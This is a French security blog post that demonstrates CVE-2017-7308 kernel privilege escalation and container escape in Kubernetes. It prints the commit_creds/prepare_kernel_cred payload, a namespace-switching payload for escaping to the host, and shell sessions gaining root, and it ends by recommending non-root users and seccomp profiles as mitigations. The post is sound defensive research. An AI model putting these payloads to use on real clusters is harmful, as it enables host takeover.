Skip to main content

Élévation de privilèges dans le noyau : l’impact de l’isolation des conteneurs Kubernetes sur les attaques

Écrit par
Headshot of Kamil Potrec

Kamil Potrec

3 décembre 2020

0 minutes de lecture

Le jour, j’analyse du code Terraform et des fichiers de configuration d’objets Kubernetes, et je repère les problèmes de sécurité courants. À la tombée de la nuit, j’enfile mon sweat à capuche, lance des machines virtuelles Linux et des débogueurs pour examiner de près les technologies qui composent l’écosystème cloud native.

Dans cet article, nous allons voir comment l’isolation des conteneurs Kubernetes influe sur les attaques par élévation de privilèges. Nous utiliserons des techniques courantes d’exploitation du noyau pour comprendre comment les couches d’abstraction des conteneurs peuvent nous empêcher d’obtenir ce précieux shell root.

Qu’est-ce que l’élévation de privilèges ?

L’élévation de privilèges désigne le processus qui consiste à obtenir davantage de permissions sur une ressource. L’élévation de privilèges dans le noyau consiste à obtenir ces permissions en exploitant une faille dans l’un des nombreux points d’entrée du noyau, également appelés vecteurs d’attaque. Un vecteur d’attaque est simplement un chemin qui donne accès au code vulnérable.

Nous interagissons avec le noyau de nombreuses façons : en lisant le système de fichiers, en ouvrant un fichier de périphérique, en effectuant des appels système ou en envoyant un paquet sur l’interface réseau. Toutes ces actions nécessitent qu’un traitement ait lieu dans l’espace noyau. Lorsque le noyau exécute une action pour le compte d’un processus utilisateur, on dit qu’il fonctionne dans un contexte de processus. Chaque processus est représenté dans le noyau par une structure struct task_struct. Ces structures sont stockées dans une liste circulaire doublement chaînée et accessibles depuis les variables PER_CPU sur l’architecture x86-64, lors du passage de l’espace utilisateur à l’espace noyau.

Une structure task_struct contient un membre struct creds qui stocke l’identifiant utilisateur et les capacités associés au processus. Le noyau s’appuie sur ces informations pour déterminer si le processus peut effectuer une action, par exemple s’il est autorisé à exécuter un appel système donné. L’objectif général d’une élévation de privilèges dans le noyau est de remplacer ou de mettre à jour la structure d’identifiants afin d’obtenir davantage de permissions.

Comment fonctionne l’élévation de privilèges ?

La technique la plus courante pour obtenir des permissions élevées dans l’espace noyau consiste à utiliser la combinaison des fonctions du noyau [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437)([prepare_kernel_cred(0)](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682)). Pour y parvenir, un exploit doit d’abord prendre le contrôle du pointeur d’instruction (RIP), puis contourner avec succès les mécanismes de contrôle de l’accès mémoire et de randomisation. [prepare_kernel_cred](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682) peut générer un objet d’identifiants à partir d’un objet existant ou, plus généreusement, en créer un par défaut avec tous les privilèges root. [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437) met simplement à jour le task_struct du processus actuel avec le nouvel objet d’identifiants.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
}

L’exploitation du noyau est un domaine très vaste. Dans cet article, nous allons donc nous limiter à une version très simplifiée de l’élévation de privilèges dans le noyau. Celui-ci comporte de nombreux mécanismes de sécurité destinés à rendre l’exploitation plus difficile. SMEP, SMAP, KASLR et KPTI sont des mécanismes implémentés dans le matériel ou dans le noyau, qui sont activés ou désactivés par la distribution utilisée ou par un administrateur système. Kubernetes ne permet pas de contrôler directement ces paramètres ; ils ne seront donc pas abordés dans cet article.

Nous allons nous appuyer sur une ancienne faille dans l’implémentation de af_packet, référencée sous le numéro CVE-2017-7308. Cette vulnérabilité peut être exploitée avec la capacité CAP_NET_RAW, car elle nécessite un accès aux sockets brutes. Les détails de la vulnérabilité sont expliqués en long et en large ici ; nous n’y reviendrons donc pas. Nous pouvons obtenir toutes les capacités nécessaires dans un espace de noms utilisateur non privilégié. Dans la distribution Ubuntu, l’accès aux espaces de noms utilisateur n’est not restreint par défaut.

dev@node1:~/exploit$ grep CONFIG_USER_NS /boot/config-4.15.0-122-generic
CONFIG_USER_NS=y
dev@node1:~/exploit$ sudo sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
dev@node1:~/exploit$

Entrons dans le vif du sujet

Commençons par examiner le processus de bout en bout dans un environnement sans conteneur.

Nous devons connecter GNU Debugger (gdb) au stub de la machine virtuelle. Une fois le débogueur attaché, nous pouvons définir un point d’arrêt à un emplacement pratique. Ici, nous utilisons un appel système mlock, que nous pouvons déclencher manuellement depuis l’exploit pour examiner l’état interne du processus en cours d’exécution. Notez que gdb ne s’arrêtera que si le processus en cours d’exécution porte le nom « exploit ». Cela réduit le risque que le point d’arrêt soit déclenché par un autre processus du système. Les tâches de configuration sont définies dans un fichier de commandes .gdb. Nous lançons GDB avec l’option -x pour effectuer la configuration de manière cohérente et reproductible.

dev@pwnbox:/$ cat setup.gdb
set print pretty on
file vmlinux
target remote 127.0.0.1:11234
break sys_mlock if $_streq($lx_current().comm, "exploit")
continue
dev@pwnbox:/$ gdb -q -x setup.gdb
0xffffffff819c24be in native_safe_halt () at ./arch/x86/include/asm/irqflags.h:61
61  }
Breakpoint 1 at 0xffffffff8121da50: file mm/mlock.c, line 709.

Les points d’arrêt se déclencheront avant la création de l’espace de noms utilisateur non privilégié, juste avant l’exécution de la vulnérabilité et après l’obtention des identifiants root. Il suffit d’exécuter l’appel système approprié pour obtenir ce comportement.

syscall(149, 0, 0); // Break before CLONE_NEWUSER
if (unshare(CLONE_NEWUSER) != 0) {
   perror("[-] unshare(CLONE_NEWUSER)");
   exit(EXIT_FAILURE);
}
/* OMITTED */printf("[*] executing get root payload %p\n", &get_root_payload);
syscall(149, 0, 0); // Break before commit_creds
exploit_cve_2017_7308((void *)&get_root_payload);
printf("[*] done\n");
syscall(149, 0, 0); // Break after commit_creds

Nous pouvons maintenant exécuter l’exploit :

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583

Notre premier point d’arrêt se déclenche comme prévu. Nous pouvons examiner la structure cred en exécutant la fonction d’aide gdb $lx_current. L’UID effectif du processus actuel est 1000 et, comme prévu, il ne dispose d’aucune capacité effective dans l’espace de noms actuel.

Thread 6 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$1 = {
 usage = {counter = 4},
 uid = { val = 1000 },
 gid = { val = 1000 },
 suid = { val = 1000 },
 sgid = { val = 1000 },
 euid = { val = 1000 },
 egid = { val = 1000 },
 fsuid = { val = 1000 },
 fsgid = { val = 1000 },
 securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {0, 0} },
 cap_effective = { cap = {0, 0} },
 cap_bset = { cap = {4294967295, 63} },
 cap_ambient = { cap = {0, 0} },
 jit_keyring = 0 '\000',
 session_keyring = 0xffff888331051f00,
 process_keyring = 0x0 <irq_stack_union>,
 thread_keyring = 0x0 <irq_stack_union>,
 request_key_auth = 0x0 <irq_stack_union>,
 security = 0xffff8882bb29dd60,
 user = 0xffff88832dd89f00,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffff8882b9181480,
 {
   non_rcu = 0,
   rcu = {
     next = 0x0 <irq_stack_union>,
     func = 0x0 <irq_stack_union>
   }
 }
}
(gdb)

Le deuxième point d’arrêt se déclenche après un appel à unshare, qui crée le nouvel espace de noms utilisateur du processus. Notez que l’UID reste inchangé, tandis que les attributs cap_effective et user_ns ont changé. Les capacités sont stockées sous forme de masque de bits, plus lisible en hexadécimal.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ uid = { val = 1000 },
 gid = { val = 1000 },
 /* OMITTED */ euid = { val = 1000 },
 /* OMITTED */ cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffff88832dd89f00,
 user_ns = 0xffff8882c1e0b800,
 /* OMITTED */}
(gdb) p/x 4294967295
$4 = 0xffffffff 
(gdb)

Notre dernier point d’arrêt se déclenche après l’exploitation de la vulnérabilité. Notez que l’UID est maintenant défini sur 0 et que l’espace de noms utilisateur est réinitialisé à init_user_ns, qui correspond à l’espace de noms utilisateur init de l’hôte.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$3 = {
 /* OMITTED */ uid = { val = 0 },
 /* OMITTED */ 
 euid = { val = 0 },
 /* OMITTED */ cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffffffff8245b568 <init_groups>,
 /* OMITTED */ }

Le shell réapparaît et nous disposons maintenant de tous les privilèges root sur l’hôte.

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583
[*] done
[+] got r00t
root@node1:/home/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@node1:/home/dev/exploit#

Exploitation du noyau dans un conteneur

Nous allons maintenant essayer d’exécuter le même exploit dans un pod. Nous avons créé une définition très simple d’objet pod et l’avons déployée dans le cluster.

apiVersion: v1
kind: Pod
metadata:
 name: very-default-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Voyons ce qui se passe avec la configuration par défaut.

dev@pwnbox:/$ kubectl get nodes
NAME    STATUS   ROLES    AGE   VERSION
node1   Ready    master   8d    v1.18.10
dev@pwnbox:/$ kubectl get pods
No resources found in default namespace.
dev@pwnbox:/$ kubectl apply -f very-default-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl get pods
NAME   READY   STATUS    RESTARTS   AGE
test   1/1     Running   0          4s
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
root@test:~# id
uid=0(root) gid=0(root) groups=0(root)

Root par défaut

L’image utilisée dans la démonstration ne précise pas d’utilisateur non privilégié et, par défaut, Kubernetes n’impose pas d’UID. Il semble donc que nous ayons accès à root sans avoir besoin d’exploiter le noyau. Nous exécutons à nouveau le même exploit et interrompons le noyau juste avant qu’il emprunte le chemin vulnérable. Les capacités effectives du processus montrent clairement qu’il en manque certaines. La valeur est définie sur 2818844155, ce qui correspond à l’ensemble de capacités par défaut accordé par le runtime Docker.

(gdb) p *($lx_current().cred)
$1 = {
 /* OMITTED */ euid = { val = 0 },
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {2818844155, 0} },
 cap_permitted = { cap = {2818844155, 0} },
 cap_effective = { cap = {2818844155, 0} },
 cap_bset = { cap = {2818844155, 0} },
 cap_ambient = { cap = {0, 0} },
 /* OMITTED */ 
 user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 /* OMITTED */ }

Une fois l’exploit terminé, l’ensemble effectif comprend de nouveau toutes les capacités.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 cap_bset = { cap = {4294967295, 63} },
 /* OMITTED */}

Cette fois, nous allons imposer un UID non root au conteneur en définissant les attributs de contexte de sécurité runAs.

apiVersion: v1
kind: Pod
metadata:
 name: non-root-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     securityContext:
       runAsUser: 1000
       runAsGroup: 1000
     command: [ "sleep", "infinity" ]

Cette fois, nous ne disposons pas des privilèges root d’emblée. L’exploit s’exécute toutefois de la même manière, à une différence majeure près dans le résultat final. Il semble que nous ayons toutes les permissions, mais nous ne voyons pas tout ce qui se trouve sur le système.

dev@pwnbox:/$ kubectl apply -f non-root-uid-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
groups: cannot find name for group ID 1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x55e55ff5a583
[*] done
[+] got r00t
root@test:/mnt/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@test:/mnt/dev/exploit# cat /etc/shadow
root:*:18198:0:99999:7:::
daemon:*:18198:0:99999:7:::
bin:*:18198:0:99999:7:::
sys:*:18198:0:99999:7:::
sync:*:18198:0:99999:7:::
games:*:18198:0:99999:7:::
man:*:18198:0:99999:7:::
lp:*:18198:0:99999:7:::
mail:*:18198:0:99999:7:::
news:*:18198:0:99999:7:::
uucp:*:18198:0:99999:7:::
proxy:*:18198:0:99999:7:::
www-data:*:18198:0:99999:7:::
backup:*:18198:0:99999:7:::
list:*:18198:0:99999:7:::
irc:*:18198:0:99999:7:::
gnats:*:18198:0:99999:7:::
nobody:*:18198:0:99999:7:::
_apt:*:18198:0:99999:7:::
messagebus:*:18207:0:99999:7:::
root@test:/mnt/dev/exploit# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
root@test:/mnt/dev/exploit#

La cage des espaces de noms

Nous avons obtenu toutes les capacités et l’UID root, mais nous n’avons franchi que la barrière des capacités du conteneur : nous n’avons toujours pas accès au système de fichiers de l’hôte. Nous ne pouvons donc pas voir tous les processus ni communiquer via les interfaces réseau de l’hôte.

root@test:~# ls -la /dev/
total 4
drwxr-xr-x 5 root root  360 Nov 23 14:04 .
drwxr-xr-x 1 root root 4096 Nov 23 14:04 ..
lrwxrwxrwx 1 root root   11 Nov 23 14:04 core -> /proc/kcore
lrwxrwxrwx 1 root root   13 Nov 23 14:04 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Nov 23 14:04 full
drwxrwxrwt 2 root root   40 Nov 23 14:04 mqueue
crw-rw-rw- 1 root root 1, 3 Nov 23 14:04 null
lrwxrwxrwx 1 root root    8 Nov 23 14:04 ptmx -> pts/ptmx
drwxr-xr-x 2 root root    0 Nov 23 14:04 pts
crw-rw-rw- 1 root root 1, 8 Nov 23 14:04 random
drwxrwxrwt 2 root root   40 Nov 23 14:04 shm
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdout -> /proc/self/fd/1
-rw-rw-rw- 1 root root    0 Nov 23 14:04 termination-log
crw-rw-rw- 1 root root 5, 0 Nov 23 14:04 tty
crw-rw-rw- 1 root root 1, 9 Nov 23 14:04 urandom
crw-rw-rw- 1 root root 1, 5 Nov 23 14:04 zero
root@test:~# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4532   752 ?        Ss   14:04   0:00 sleep infinity
root         7  0.0  0.0  18504  3352 pts/0    Ss   14:04   0:00 /bin/bash
root        24  0.0  0.0  34400  2776 pts/0    R+   14:04   0:00 ps aux
root@test:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
4: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether 4e:52:2c:19:28:37 brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet 10.233.90.139/32 scope global eth0
      valid_lft forever preferred_lft forever
root@test:~#

À ce stade, nous pouvons charger n’importe quel module du noyau, mais cela laisse des traces et déclenchera la plupart des systèmes de détection d’intrusion élémentaires (du moins, espérons-le). Pour le vérifier, nous allons supprimer un module inutilisé. Notez que votre image Docker doit inclure les paquets de modules. Dans le cas d’images Debian, vous devrez installer le paquet kmod.

root@test:/mnt/dev/exploit# lsmod
Module                  Size  Used by
i2c_piix4              24576  0
binfmt_misc            20480  1
xt_CT                  16384  8
xt_tcpudp              16384  12
/* OMITTED */pata_acpi              16384  0
floppy                 77824  0
root@test:/mnt/dev/exploit# rmmod i2c_piix4
root@test:/mnt/dev/exploit# lsmod | grep i2c
root@test:/mnt/dev/exploit#

Nous pouvons plutôt étendre notre exploit du noyau et définir l’objet [struct nsproxy](https://github.com/torvalds/linux/blob/master/include/linux/nsproxy.h#L31) du contexte actuel de façon à ce qu’il pointe vers les espaces de noms de notre choix. Les espaces de noms sont identifiés par des inodes, mais le noyau exporte l’adresse de [init_nsproxy](https://github.com/torvalds/linux/blob/master/kernel/nsproxy.c#L32), que nous pouvons utiliser pour copier les espaces de noms init de l’hôte dans notre conteneur.

(gdb) info address init_nsproxy
Symbol "init_nsproxy" is static storage at address 0xffffffff8245b2a0.
(gdb

L’appel système sys_setns permet de mettre à jour les espaces de noms du contexte du processus. Nous voulons principalement accéder à trois espaces de noms pour l’élévation de privilèges : PID, réseau et montage. Tout d’abord, nous devons obtenir une référence aux espaces de noms root. Pour cela, nous pouvons déplacer le PID 1 du conteneur vers les espaces de noms de l’hôte. Nous pouvons ensuite obtenir des références à n’importe quels espaces de noms depuis le système de fichiers /proc/ du PID 1. Enfin, nous déplaçons le processus actuel dans les espaces de noms requis.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef unsigned long long __attribute__((regparm(3))) (* _find_task_by_vpid)(unsigned int vnr);
typedef void __attribute__((regparm(3))) (* _switch_task_namespaces)(void *tsk, void *new);
typedef long __attribute__((regparm(4))) (* _do_sys_open)(int fd, const char *filename, int flags, unsigned short mode);
typedef long __attribute__((regparm(3))) (* _sys_setns)(int fd, int nstype);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
   // [1] - Identify PID 1 task in current PID namespace
   unsigned long long task = ((_find_task_by_vpid)(KERNEL_BASE + FIND_TASK_BY_VPID))(1);
   // [2] - Move PID 1 into init namespaces
   ((_switch_task_namespaces)(KERNEL_BASE + SWITCH_TASK_NS))((void *)task, (void *)(KERNEL_BASE + INIT_NSPROXY));
   // [3] - Read mount namespace inode
   long fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
   // [4] - Move current process into host’s mount namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [5] - Read pid namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
   // [6] - Move current process into host’s pid namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [7] - Read network namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/net", O_RDONLY, 0);
   // [8] - Move current process into host’s network namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
}

Après l’exécution de notre exploit, nous pouvons accéder à toutes les ressources système intéressantes.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x559f462d7583
[*] done
[+] got r00t
root@test:/# id
uid=0(root) gid=0(root) groups=0(root)root@test:/# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.2  0.0 226012  9556 ?        Ss   14:30   0:02 /sbin/init nokaslr nopti
root         2  0.0  0.0      0     0 ?        S    14:30   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I    14:30   0:00 [kworker/0:0]
root         4  0.0  0.0      0     0 ?        I<   14:30   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   14:30   0:00 [mm_percpu_wq]
/* OMITTED */dev      18468  0.0  0.0   4532   724 ?        Ss   14:44   0:00 sleep infinity
dev      18642  0.0  0.0  18508  3360 pts/0    Ss   14:44   0:00 /bin/bash
root     19762  0.2  0.0   4516   752 pts/0    S    14:45   0:00 ./exploit
root     19767  0.0  0.0  18516  3412 pts/0    S    14:45   0:00 /bin/bash -i
root     19803  0.0  0.0  36708  3172 pts/0    R+   14:45   0:00 ps aux
root@test:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 52:54:00:8a:6e:73 brd ff:ff:ff:ff:ff:ff
   inet 10.100.100.80/24 brd 10.100.100.255 scope global dynamic ens3
      valid_lft 2704sec preferred_lft 2704sec
   inet6 fe80::5054:ff:fe8a:6e73/64 scope link
      valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:00:d6:f9:0a brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
      valid_lft forever preferred_lft forever
4: kube-ipvs0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN group default
   link/ether 76:17:6a:aa:ea:9e brd ff:ff:ff:ff:ff:ff
   inet 10.233.59.218/32 brd 10.233.59.218 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.1/32 brd 10.233.0.1 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.3/32 brd 10.233.0.3 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.17.50/32 brd 10.233.17.50 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
/* OMITTED */14: cali1037a54e65e@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet6 fe80::ecee:eeff:feee:eeee/64 scope link
      valid_lft forever preferred_lft forever
root@test:/#
root@test:/# reboot
Failed to connect to bus: No data available

Utilité des capacités

Les capacités attribuées par défaut aux conteneurs Kubernetes (avec le runtime Docker) incluent CAP_NET_RAW. Cela signifie-t-il que nous pourrions exploiter la vulnérabilité même si les espaces de noms utilisateur non privilégiés sont désactivés ? Nous avons ajouté du code pour définir les capacités effectives nécessaires afin d’atteindre le code vulnérable.

cap_t caps;
caps = cap_get_proc();
if (caps == NULL){
   perror("[-] Failed to get current caps\n");
   exit(EXIT_FAILURE);
}
cap_value_t cap_list[1];
cap_list[0] = CAP_NET_RAW;
if(cap_set_flag(caps, CAP_EFFECTIVE, 1, cap_list, CAP_SET) == -1){
   perror("[-] Failed to set effective caps\n");
   exit(EXIT_FAILURE);
}
if(cap_set_proc(caps) != 0){
   perror("[-] Failed to set process cpas\n");
   exit(EXIT_FAILURE);
}

Comme vous pouvez le constater, l’exploit échoue. Mais pourquoi ?

I have no name!@test:/root$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Cela s’explique par les capacités héritables et leur implémentation. Même si le runtime du conteneur a accordé ces capacités aux processus du conteneur, il faut les définir explicitement comme effectives via sys_capset. Pour le moment, seuls les processus avec l’UID 0 peuvent définir des capacités effectives. Ainsi, si vous souhaitez exécuter un processus en tant qu’utilisateur non root tout en conservant l’accès à certaines capacités, vous devez inclure un binaire suid dans votre conteneur pour définir les capacités effectives. Vous pouvez également définir les capacités requises sur l’exécutable et supprimer les capacités du conteneur. Les capacités de fichier sont limitées aux systèmes de fichiers qui prennent en charge les attributs étendus.

Seccomp à la rescousse

Parlons maintenant de l’accessibilité du vecteur d’attaque. Notre exploit fonctionne parce que les utilisateurs non privilégiés peuvent obtenir la capacité CAP_NET_RAW dans des espaces de noms utilisateur non privilégiés. Nous avons vu dans notre analyse des capacités comment cela influe sur l’exploit. Il existe une autre contre-mesure pour arrêter cette attaque — et oui, vous pouvez l’activer via Kubernetes.

Seccomp est un mécanisme qui permet de réduire la surface d’attaque du noyau en filtrant les appels système. Malheureusement, Kubernetes n’applique pas de profil seccomp à votre conteneur par défaut. Tous les appels système sont donc autorisés, sous réserve des contrôles de permissions déjà évoqués. Vous pouvez modifier ce comportement en ajoutant une annotation à la déclaration de l’objet (avant la version v1.19) ou en ajoutant l’attribut du profil seccomp au contexte de sécurité du pod.

apiVersion: v1
kind: Pod
metadata:
 name: seccomp-pod
 annotations:
   seccomp.security.alpha.kubernetes.io/pod: runtime/default
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Voyons comment le profil par défaut fourni par le runtime du conteneur (Docker, dans ce cas) influe sur notre exploit. Le message d’erreur « Opération non permise » s’affiche, car le profil seccomp par défaut n’autorise pas l’appel système unshare.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Seccomp est très utile pour limiter les points d’entrée du noyau superflus. Les appels système tels que unshare ou userfaultfd peuvent être désactivés sans risque dans la plupart des cas d’usage et permettent de contrer certaines techniques d’exploitation. Mais certains appels sont difficiles à bloquer, comme waitid. Découvrez ici d’autres techniques permettant d’exploiter des conteneurs.

Conclusion

Nous avons réussi à empêcher cette exploitation grâce à un profil seccomp par défaut. Comme vous pouvez le constater, même si notre système d’exploitation est vulnérable, le chemin d’exploitation est inaccessible depuis notre conteneur (dans ce cas précis). Cette technique pourrait vous donner suffisamment de répit pour planifier la mise à jour du système d’exploitation, dont vous avez tant besoin ! Considérez ces mesures comme des contrôles de défense en profondeur et des stratégies d’atténuation.

Appliquez toujours les correctifs à vos systèmes ! Snyk Infrastructure as Code peut vous aider à repérer ces options d’atténuation très tôt dans votre pipeline CI/CD, bien avant tout déploiement en production. Nous utilisons des techniques adversariales pour identifier les options de sécurité à fort impact dans Kubernetes et chez les fournisseurs de services cloud. Utilisez Snyk gratuitement en créant un compte gratuit.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

feature insights announcement
Blog

Compromission de la chaîne d’approvisionnement Node-gyp : un ver npm à propagation autonome dissimulé dans binding.gyp

Un nouveau ver npm détourne binding.gyp pour déclencher node-gyp lors de l’installation et permettre à des packages malveillants d’exécuter du code sans scripts de cycle de vie. Il vole des identifiants, s’installe durablement sur GitHub et se propage de mainteneur en mainteneur.

Article

Publication de versions malveillantes de node-ipc sur npm à la suite d’une compromission présumée du compte d’un mainteneur

Le 14 mai 2026, plusieurs versions malveillantes du célèbre package npm node-ipc ont été publiées sur le registre npm. Les informations publiques disponibles identifient actuellement node...

blog feature toolkit
Blog

Publication malveillante du paquet elementary-data sur PyPI : des identifiants cloud dérobés à des ingénieurs data

